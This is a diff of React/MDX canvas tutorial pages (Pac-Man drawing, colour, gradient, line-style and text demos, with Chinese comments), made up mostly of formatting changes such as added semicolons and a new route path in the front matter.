ctx.bezierCurveTo(83, 94, 89, 88, 97, 88)
|
||||
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102)
|
||||
ctx.lineTo(111, 116)
|
||||
ctx.lineTo(106.3, 111.3)
|
||||
ctx.lineTo(97.3, 111)
|
||||
ctx.lineTo(92, 116)
|
||||
ctx.lineTo(87, 111)
|
||||
ctx.lineTo(83, 116)
|
||||
ctx.fill()
|
||||
// 绘制魔鬼
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(83, 116);
|
||||
ctx.lineTo(83, 102);
|
||||
ctx.bezierCurveTo(83, 94, 89, 88, 97, 88);
|
||||
ctx.bezierCurveTo(105, 88, 111, 94, 111, 102);
|
||||
ctx.lineTo(111, 116);
|
||||
ctx.lineTo(106.3, 111.3);
|
||||
ctx.lineTo(97.3, 111);
|
||||
ctx.lineTo(92, 116);
|
||||
ctx.lineTo(87, 111);
|
||||
ctx.lineTo(83, 116);
|
||||
ctx.fill();
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(52 + i * 16, 35, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(28, 52 + i * 16, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(100, 52 + i * 16, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 8; i++) {
|
||||
ctx.fillRect(44 + i * 16, 92, 4, 4)
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 3; i++) {
|
||||
ctx.fillRect(44 + i * 16, 148, 4, 4)
|
||||
}
|
||||
|
||||
ctx.fillStyle = 'white'
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(91, 96)
|
||||
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101)
|
||||
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106)
|
||||
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101)
|
||||
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96)
|
||||
ctx.moveTo(103, 96)
|
||||
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101)
|
||||
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106)
|
||||
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101)
|
||||
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96)
|
||||
ctx.fill()
|
||||
|
||||
// 右眼
|
||||
ctx.fillStyle = 'blue'
|
||||
ctx.beginPath()
|
||||
ctx.arc(101, 102, 2, 0, Math.PI * 2, true)
|
||||
ctx.fill()
|
||||
// 左眼
|
||||
ctx.beginPath()
|
||||
ctx.arc(89, 102, 2, 0, Math.PI * 2, true)
|
||||
ctx.fill()
|
||||
|
||||
ctx.font = '18px bold 黑体'
|
||||
ctx.fillStyle = 'black'
|
||||
ctx.fillText('吃豆人', 180, 180)
|
||||
|
||||
ctx.clearRect(150, 0, 100, 200)
|
||||
|
||||
/**
|
||||
* 绘制圆角矩形的函数
|
||||
*
|
||||
* @param {*} ctx 画笔
|
||||
* @param {*} x x 坐标
|
||||
* @param {*} y y 坐标
|
||||
* @param {*} w 宽
|
||||
* @param {*} h 高
|
||||
* @param {*} r 半径
|
||||
*/
|
||||
function _roundedRect(ctx, x, y, w, h, radius) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(x, y + radius);
|
||||
ctx.lineTo(x, y + h - radius);
|
||||
ctx.quadraticCurveTo(x, y + h, x + radius, y + h);
|
||||
ctx.lineTo(x + w - radius, y + h);
|
||||
ctx.quadraticCurveTo(x + w, y + h, x + w, y + h - radius);
|
||||
ctx.lineTo(x + w, y + radius);
|
||||
ctx.quadraticCurveTo(x + w, y, x + w - radius, y);
|
||||
ctx.lineTo(x + radius, y);
|
||||
ctx.quadraticCurveTo(x, y, x, y + radius);
|
||||
ctx.stroke();
|
||||
}
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(52 + i * 16, 35, 4, 4);
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(28, 52 + i * 16, 4, 4);
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
bean()
|
||||
}, [])
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 7; i++) {
|
||||
ctx.fillRect(100, 52 + i * 16, 4, 4);
|
||||
}
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 8; i++) {
|
||||
ctx.fillRect(44 + i * 16, 92, 4, 4);
|
||||
}
|
||||
|
||||
// 绘制小点
|
||||
for (let i = 0; i < 3; i++) {
|
||||
ctx.fillRect(44 + i * 16, 148, 4, 4);
|
||||
}
|
||||
|
||||
ctx.fillStyle = 'white';
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(91, 96);
|
||||
ctx.bezierCurveTo(88, 96, 87, 99, 87, 101);
|
||||
ctx.bezierCurveTo(87, 103, 88, 106, 91, 106);
|
||||
ctx.bezierCurveTo(94, 106, 95, 103, 95, 101);
|
||||
ctx.bezierCurveTo(95, 99, 94, 96, 91, 96);
|
||||
ctx.moveTo(103, 96);
|
||||
ctx.bezierCurveTo(100, 96, 99, 99, 99, 101);
|
||||
ctx.bezierCurveTo(99, 103, 100, 106, 103, 106);
|
||||
ctx.bezierCurveTo(106, 106, 107, 103, 107, 101);
|
||||
ctx.bezierCurveTo(107, 99, 106, 96, 103, 96);
|
||||
ctx.fill();
|
||||
|
||||
// 右眼
|
||||
ctx.fillStyle = 'blue';
|
||||
ctx.beginPath();
|
||||
ctx.arc(101, 102, 2, 0, Math.PI * 2, true);
|
||||
ctx.fill();
|
||||
// 左眼
|
||||
ctx.beginPath();
|
||||
ctx.arc(89, 102, 2, 0, Math.PI * 2, true);
|
||||
ctx.fill();
|
||||
|
||||
ctx.font = '18px bold 黑体';
|
||||
ctx.fillStyle = 'black';
|
||||
ctx.fillText('吃豆人', 180, 180);
|
||||
|
||||
ctx.clearRect(150, 0, 100, 200);
|
||||
|
||||
/**
|
||||
* 绘制圆角矩形的函数
|
||||
*
|
||||
* @param {*} ctx 画笔
|
||||
* @param {*} x x 坐标
|
||||
* @param {*} y y 坐标
|
||||
* @param {*} w 宽
|
||||
* @param {*} h 高
|
||||
* @param {*} r 半径
|
||||
*/
|
||||
function _roundedRect(ctx, x, y, w, h, radius) {
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(x, y + radius);
|
||||
ctx.lineTo(x, y + h - radius);
|
||||
ctx.quadraticCurveTo(x, y + h, x + radius, y + h);
|
||||
ctx.lineTo(x + w - radius, y + h);
|
||||
ctx.quadraticCurveTo(x + w, y + h, x + w, y + h - radius);
|
||||
ctx.lineTo(x + w, y + radius);
|
||||
ctx.quadraticCurveTo(x + w, y, x + w - radius, y);
|
||||
ctx.lineTo(x + radius, y);
|
||||
ctx.quadraticCurveTo(x, y, x, y + radius);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
bean();
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
```js
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 canvas
|
||||
order: 2
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
## 颜色
|
||||
@ -13,286 +14,290 @@ group:
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef2 = useRef()
|
||||
const canvasRef3 = useRef()
|
||||
const canvasRef4 = useRef()
|
||||
const canvasRef5 = useRef()
|
||||
const canvasRef6 = useRef()
|
||||
const canvasRef7 = useRef()
|
||||
const canvasRef8 = useRef()
|
||||
const canvasRef9 = useRef()
|
||||
const canvasRef10 = useRef()
|
||||
const canvasRef11 = useRef()
|
||||
const canvasRef12 = useRef()
|
||||
const canvasRef = useRef();
|
||||
const canvasRef2 = useRef();
|
||||
const canvasRef3 = useRef();
|
||||
const canvasRef4 = useRef();
|
||||
const canvasRef5 = useRef();
|
||||
const canvasRef6 = useRef();
|
||||
const canvasRef7 = useRef();
|
||||
const canvasRef8 = useRef();
|
||||
const canvasRef9 = useRef();
|
||||
const canvasRef10 = useRef();
|
||||
const canvasRef11 = useRef();
|
||||
const canvasRef12 = useRef();
|
||||
|
||||
function demo1() {
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
function demo1() {
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)`
|
||||
ctx.fillRect(j * 25, i * 25, 25, 25)
|
||||
}
|
||||
}
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.fillStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
|
||||
255 - 42.5 * j,
|
||||
)}, 0)`;
|
||||
ctx.fillRect(j * 25, i * 25, 25, 25);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(
|
||||
255 - 42.5 * j,
|
||||
)}, 0)`;
|
||||
ctx.beginPath();
|
||||
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.fillStyle = '#fd0';
|
||||
ctx.fillRect(0, 0, 75, 75);
|
||||
ctx.fillStyle = '#6c0';
|
||||
ctx.fillRect(75, 0, 75, 75);
|
||||
ctx.fillStyle = '#09f';
|
||||
ctx.fillRect(0, 75, 75, 75);
|
||||
ctx.fillStyle = '#f30';
|
||||
ctx.fillRect(75, 75, 75, 75);
|
||||
|
||||
ctx.fillStyle = '#fff';
|
||||
ctx.globalAlpha = 0.2;
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
ctx.beginPath();
|
||||
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true);
|
||||
ctx.fill();
|
||||
}
|
||||
}
|
||||
|
||||
function demo4() {
|
||||
let canvas = canvasRef4.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.fillStyle = 'rgb(255, 221, 0)';
|
||||
ctx.fillRect(0, 0, 200, 50);
|
||||
ctx.fillStyle = 'rgb(102, 204, 0)';
|
||||
ctx.fillRect(0, 50, 200, 50);
|
||||
ctx.fillStyle = 'rgb(0, 153, 255)';
|
||||
ctx.fillRect(0, 100, 200, 50);
|
||||
ctx.fillStyle = 'rgb(255, 51, 0)';
|
||||
ctx.fillRect(0, 150, 200, 50);
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`;
|
||||
for (let j = 0; j < 4; j++) {
|
||||
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function demo5() {
|
||||
let canvas = canvasRef5.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.lineWidth = 1 + i;
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(5.5 + i * 14, 5.5);
|
||||
ctx.lineTo(5.5 + i * 14, 140.5);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
function demo6() {
|
||||
let canvas = canvasRef6.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
let lineCap = ['butt', 'round', 'square'];
|
||||
|
||||
ctx.strokeStyle = '#09f';
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(10, 20);
|
||||
ctx.lineTo(140, 20);
|
||||
ctx.moveTo(10, 130);
|
||||
ctx.lineTo(140, 130);
|
||||
ctx.stroke();
|
||||
|
||||
ctx.strokeStyle = 'black';
|
||||
for (let i = 0; i < lineCap.length; i++) {
|
||||
ctx.lineWidth = 15;
|
||||
ctx.lineCap = lineCap[i];
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(25 + i * 50, 20);
|
||||
ctx.lineTo(25 + i * 50, 130);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* round 圆角线段
|
||||
* bevel 不让线段超过最大
|
||||
*/
|
||||
function demo7() {
|
||||
let canvas = canvasRef7.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
let lineJoin = ['round', 'bevel', 'miter'];
|
||||
|
||||
ctx.lineWidth = 10;
|
||||
for (let i = 0; i < lineJoin.length; i++) {
|
||||
ctx.lineJoin = lineJoin[i];
|
||||
ctx.beginPath();
|
||||
ctx.moveTo(-5, 5 + i * 40);
|
||||
ctx.lineTo(35, 45 + i * 40);
|
||||
ctx.lineTo(75, 5 + i * 40);
|
||||
ctx.lineTo(115, 45 + i * 40);
|
||||
ctx.lineTo(155, 5 + i * 40);
|
||||
ctx.stroke();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* setLineDash 虚线交替样式
|
||||
* lineDashOffset 偏移量
|
||||
*/
|
||||
function demo8() {
|
||||
let canvas = canvasRef8.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
let offset = 0;
|
||||
|
||||
function march() {
|
||||
offset++;
|
||||
|
||||
if (offset > 16) {
|
||||
offset = 0;
|
||||
}
|
||||
_draw();
|
||||
setTimeout(march, 50);
|
||||
}
|
||||
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
for (let j = 0; j < 6; j++) {
|
||||
ctx.strokeStyle = `rgb(${Math.floor(255 - 42.5 * i)}, ${Math.floor(255 - 42.5 * j)}, 0)`
|
||||
ctx.beginPath()
|
||||
ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
function _draw() {
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height);
|
||||
ctx.lineWidth = 2;
|
||||
ctx.setLineDash([4, 2]);
|
||||
ctx.lineDashOffset = -offset;
|
||||
ctx.strokeRect(10, 10, 100, 100);
|
||||
}
|
||||
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
march();
|
||||
}
|
||||
|
||||
ctx.fillStyle = '#fd0'
|
||||
ctx.fillRect(0, 0, 75,75)
|
||||
ctx.fillStyle = '#6c0'
|
||||
ctx.fillRect(75, 0, 75, 75)
|
||||
ctx.fillStyle = '#09f'
|
||||
ctx.fillRect(0, 75, 75, 75)
|
||||
ctx.fillStyle = '#f30'
|
||||
ctx.fillRect(75, 75, 75, 75)
|
||||
function demo9() {
|
||||
let canvas = canvasRef9.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.fillStyle = '#fff'
|
||||
ctx.globalAlpha = 0.2
|
||||
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150);
|
||||
lineargradient.addColorStop(0, '#00abeb');
|
||||
lineargradient.addColorStop(0.5, '#fff');
|
||||
lineargradient.addColorStop(0.5, '#26c000');
|
||||
lineargradient.addColorStop(1, '#fff');
|
||||
|
||||
for (let i = 0; i < 6; i++) {
|
||||
ctx.beginPath()
|
||||
ctx.arc(75, 75, 10 + 10 * i, 0, Math.PI * 2, true)
|
||||
ctx.fill()
|
||||
}
|
||||
}
|
||||
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95);
|
||||
radialgradient.addColorStop(0.5, '#000');
|
||||
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0');
|
||||
|
||||
function demo4() {
|
||||
let canvas = canvasRef4.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
ctx.fillStyle = lineargradient;
|
||||
ctx.strokeStyle = radialgradient;
|
||||
|
||||
ctx.fillStyle = 'rgb(255, 221, 0)'
|
||||
ctx.fillRect(0, 0, 200, 50)
|
||||
ctx.fillStyle = 'rgb(102, 204, 0)'
|
||||
ctx.fillRect(0, 50, 200, 50)
|
||||
ctx.fillStyle = 'rgb(0, 153, 255)'
|
||||
ctx.fillRect(0, 100, 200, 50)
|
||||
ctx.fillStyle = 'rgb(255, 51, 0)'
|
||||
ctx.fillRect(0, 150, 200, 50)
|
||||
ctx.fillRect(10, 10, 130, 130);
|
||||
ctx.strokeRect(50, 50, 50, 50);
|
||||
}
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.fillStyle = `rgba(255, 255, 255, ${(i + 1) / 10})`
|
||||
for (let j = 0; j < 4; j++) {
|
||||
ctx.fillRect(10 + 18 * i, 5 + j * 50, 18, 40)
|
||||
}
|
||||
}
|
||||
}
|
||||
function demo10() {
|
||||
let canvas = canvasRef10.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
function demo5() {
|
||||
let canvas = canvasRef5.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30);
|
||||
radgrad.addColorStop(0, '#a7d30c');
|
||||
radgrad.addColorStop(0.9, '#019f62');
|
||||
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0');
|
||||
|
||||
for (let i = 0; i < 10; i++) {
|
||||
ctx.lineWidth = 1 + i
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(5.5 + i * 14, 5.5)
|
||||
ctx.lineTo(5.5 + i * 14, 140.5)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50);
|
||||
radgrad2.addColorStop(0, '#fff');
|
||||
radgrad2.addColorStop(0.75, '#ff0188');
|
||||
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)');
|
||||
|
||||
function demo6() {
|
||||
let canvas = canvasRef6.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let lineCap = ['butt', 'round', 'square']
|
||||
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90);
|
||||
radgrad3.addColorStop(0, '#f4f201');
|
||||
radgrad3.addColorStop(0.8, '#00B5E2');
|
||||
radgrad3.addColorStop(1, '#00B5E2');
|
||||
|
||||
ctx.strokeStyle = '#09f'
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(10, 20)
|
||||
ctx.lineTo(140, 20)
|
||||
ctx.moveTo(10, 130)
|
||||
ctx.lineTo(140, 130)
|
||||
ctx.stroke()
|
||||
ctx.fillStyle = radgrad3;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
ctx.fillStyle = radgrad2;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
ctx.fillStyle = radgrad;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
}
|
||||
|
||||
ctx.strokeStyle = 'black'
|
||||
for (let i = 0; i < lineCap.length; i++) {
|
||||
ctx.lineWidth = 15
|
||||
ctx.lineCap = lineCap[i]
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(25 + i * 50, 20)
|
||||
ctx.lineTo(25 + i * 50, 130)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
function demo11() {
|
||||
let canvas = canvasRef11.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
/**
|
||||
* round 圆角线段
|
||||
* bevel 不让线段超过最大
|
||||
*/
|
||||
function demo7() {
|
||||
let canvas = canvasRef7.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let lineJoin = ['round', 'bevel', 'miter']
|
||||
// 创建 img,作为图案
|
||||
let img = new Image();
|
||||
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png';
|
||||
|
||||
ctx.lineWidth = 10
|
||||
for (let i = 0; i < lineJoin.length; i++) {
|
||||
ctx.lineJoin = lineJoin[i]
|
||||
ctx.beginPath()
|
||||
ctx.moveTo(-5, 5 + i * 40)
|
||||
ctx.lineTo(35, 45 + i * 40)
|
||||
ctx.lineTo(75, 5 + i * 40)
|
||||
ctx.lineTo(115, 45 + i * 40)
|
||||
ctx.lineTo(155, 5 + i * 40)
|
||||
ctx.stroke()
|
||||
}
|
||||
}
|
||||
img.onload = function () {
|
||||
let ptrn = ctx.createPattern(img, 'repeat');
|
||||
ctx.fillStyle = ptrn;
|
||||
ctx.fillRect(0, 0, 150, 150);
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* setLineDash 虚线交替样式
|
||||
* lineDashOffset 偏移量
|
||||
*/
|
||||
function demo8() {
|
||||
let canvas = canvasRef8.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
let offset = 0
|
||||
function demo12() {
|
||||
let canvas = canvasRef12.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
function march() {
|
||||
offset++
|
||||
ctx.beginPath();
|
||||
ctx.fillStyle = '#aaa';
|
||||
ctx.arc(50, 50, 30, 0, Math.PI * 2, true);
|
||||
ctx.arc(50, 50, 15, 0, Math.PI * 2, true);
|
||||
ctx.fill('evenodd');
|
||||
}
|
||||
|
||||
if (offset > 16) {
|
||||
offset = 0
|
||||
}
|
||||
_draw()
|
||||
setTimeout(march, 50)
|
||||
}
|
||||
useEffect(() => {
|
||||
demo1();
|
||||
demo2();
|
||||
demo3();
|
||||
demo4();
|
||||
demo5();
|
||||
demo6();
|
||||
demo7();
|
||||
demo8();
|
||||
demo9();
|
||||
demo10();
|
||||
demo11();
|
||||
demo12();
|
||||
}, []);
|
||||
|
||||
function _draw() {
|
||||
ctx.clearRect(0, 0, canvas.width, canvas.height)
|
||||
ctx.lineWidth = 2
|
||||
ctx.setLineDash([4, 2])
|
||||
ctx.lineDashOffset = -offset
|
||||
ctx.strokeRect(10, 10, 100, 100)
|
||||
}
|
||||
|
||||
march()
|
||||
}
|
||||
|
||||
function demo9() {
|
||||
let canvas = canvasRef9.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
let lineargradient = ctx.createLinearGradient(0, 0, 0, 150)
|
||||
lineargradient.addColorStop(0, '#00abeb')
|
||||
lineargradient.addColorStop(0.5, '#fff')
|
||||
lineargradient.addColorStop(0.5, '#26c000')
|
||||
lineargradient.addColorStop(1, '#fff')
|
||||
|
||||
let radialgradient = ctx.createLinearGradient(0, 50, 0, 95)
|
||||
radialgradient.addColorStop(0.5, '#000')
|
||||
radialgradient.addColorStop(1, 'rgba(0, 0, 0, 0')
|
||||
|
||||
ctx.fillStyle = lineargradient
|
||||
ctx.strokeStyle = radialgradient
|
||||
|
||||
ctx.fillRect(10, 10, 130, 130)
|
||||
ctx.strokeRect(50, 50, 50, 50)
|
||||
}
|
||||
|
||||
function demo10() {
|
||||
let canvas = canvasRef10.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
let radgrad = ctx.createRadialGradient(45, 50, 10, 52, 50, 30)
|
||||
radgrad.addColorStop(0, '#a7d30c')
|
||||
radgrad.addColorStop(0.9, '#019f62')
|
||||
radgrad.addColorStop(1, 'rgba(1, 159, 98, 0')
|
||||
|
||||
let radgrad2 = ctx.createRadialGradient(105, 105, 20, 112, 120, 50)
|
||||
radgrad2.addColorStop(0, '#fff')
|
||||
radgrad2.addColorStop(0.75, '#ff0188')
|
||||
radgrad2.addColorStop(1, 'rgba(255, 1, 136, 0)')
|
||||
|
||||
let radgrad3 = ctx.createRadialGradient(0, 150, 50, 0, 140, 90)
|
||||
radgrad3.addColorStop(0, '#f4f201')
|
||||
radgrad3.addColorStop(0.8, '#00B5E2')
|
||||
radgrad3.addColorStop(1, '#00B5E2')
|
||||
|
||||
ctx.fillStyle = radgrad3
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
ctx.fillStyle = radgrad2
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
ctx.fillStyle = radgrad
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
}
|
||||
|
||||
function demo11() {
|
||||
let canvas = canvasRef11.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
// 创建 img,作为图案
|
||||
let img = new Image()
|
||||
img.src = 'https://mdn.mozillademos.org/files/222/Canvas_createpattern.png'
|
||||
|
||||
img.onload = function () {
|
||||
let ptrn = ctx.createPattern(img, 'repeat')
|
||||
ctx.fillStyle = ptrn
|
||||
ctx.fillRect(0, 0, 150, 150)
|
||||
}
|
||||
}
|
||||
|
||||
function demo12() {
|
||||
let canvas = canvasRef12.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
|
||||
ctx.beginPath()
|
||||
ctx.fillStyle = '#aaa'
|
||||
ctx.arc(50, 50, 30, 0, Math.PI * 2, true)
|
||||
ctx.arc(50, 50, 15, 0, Math.PI * 2, true)
|
||||
ctx.fill('evenodd')
|
||||
}
|
||||
|
||||
useEffect(() => {
|
||||
demo1()
|
||||
demo2()
|
||||
demo3()
|
||||
demo4()
|
||||
demo5()
|
||||
demo6()
|
||||
demo7()
|
||||
demo8()
|
||||
demo9()
|
||||
demo10()
|
||||
demo11()
|
||||
demo12()
|
||||
}, [])
|
||||
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
<canvas ref={canvasRef2} width="200" height="200" />
|
||||
<canvas ref={canvasRef3} width="200" height="200" />
|
||||
<canvas ref={canvasRef4} width="200" height="200" />
|
||||
<canvas ref={canvasRef5} width="200" height="200" />
|
||||
<canvas ref={canvasRef6} width="200" height="200" />
|
||||
<canvas ref={canvasRef7} width="200" height="200" />
|
||||
<canvas ref={canvasRef8} width="200" height="200" />
|
||||
<canvas ref={canvasRef9} width="200" height="200" />
|
||||
<canvas ref={canvasRef10} width="200" height="200" />
|
||||
<canvas ref={canvasRef11} width="200" height="200" />
|
||||
<canvas ref={canvasRef12} width="200" height="200" />
|
||||
</div>
|
||||
)
|
||||
}
|
||||
return (
|
||||
<div>
|
||||
<canvas ref={canvasRef} width="200" height="200" />
|
||||
<canvas ref={canvasRef2} width="200" height="200" />
|
||||
<canvas ref={canvasRef3} width="200" height="200" />
|
||||
<canvas ref={canvasRef4} width="200" height="200" />
|
||||
<canvas ref={canvasRef5} width="200" height="200" />
|
||||
<canvas ref={canvasRef6} width="200" height="200" />
|
||||
<canvas ref={canvasRef7} width="200" height="200" />
|
||||
<canvas ref={canvasRef8} width="200" height="200" />
|
||||
<canvas ref={canvasRef9} width="200" height="200" />
|
||||
<canvas ref={canvasRef10} width="200" height="200" />
|
||||
<canvas ref={canvasRef11} width="200" height="200" />
|
||||
<canvas ref={canvasRef12} width="200" height="200" />
|
||||
</div>
|
||||
);
|
||||
};
|
||||
```
|
||||
|
||||
```js
|
||||
|
||||
```
|
||||
```
|
||||
|
@ -5,6 +5,7 @@ nav:
|
||||
group:
|
||||
title: 💊 canvas
|
||||
order: 4
|
||||
path: /canvas
|
||||
---
|
||||
|
||||
## 文字
|
||||
@ -13,65 +14,63 @@ group:
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
|
||||
export default () => {
|
||||
const canvasRef = useRef()
|
||||
const canvasRef2 = useRef()
|
||||
const canvasRef3 = useRef()
|
||||
const canvasRef = useRef();
|
||||
const canvasRef2 = useRef();
|
||||
const canvasRef3 = useRef();
|
||||
|
||||
// 填充文本
|
||||
function demo1() {
|
||||
// 声明DOM
|
||||
let canvas = canvasRef.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
// 填充文本
|
||||
function demo1() {
|
||||
// 声明DOM
|
||||
let canvas = canvasRef.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.shadowOffsetY = 8
|
||||
ctx.shadowOffsetX = 8
|
||||
ctx.shadowBlur = 3
|
||||
ctx.shadowColor = '#ccc'
|
||||
ctx.shadowOffsetY = 8;
|
||||
ctx.shadowOffsetX = 8;
|
||||
ctx.shadowBlur = 3;
|
||||
ctx.shadowColor = '#ccc';
|
||||
|
||||
ctx.font = '40px serif'
|
||||
ctx.fillText('1. 你是个智障!', 50, 50)
|
||||
}
|
||||
ctx.font = '40px serif';
|
||||
ctx.fillText('1. 你是个智障!', 50, 50);
|
||||
}
|
||||
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
function demo2() {
|
||||
let canvas = canvasRef2.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
ctx.font = '48px serif'
|
||||
ctx.strokeText('2. hello world', 10, 50)
|
||||
}
|
||||
ctx.font = '48px serif';
|
||||
ctx.strokeText('2. hello world', 10, 50);
|
||||
}
|
||||
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current
|
||||
let ctx = canvas.getContext('2d')
|
||||
function demo3() {
|
||||
let canvas = canvasRef3.current;
|
||||
let ctx = canvas.getContext('2d');
|
||||
|
||||
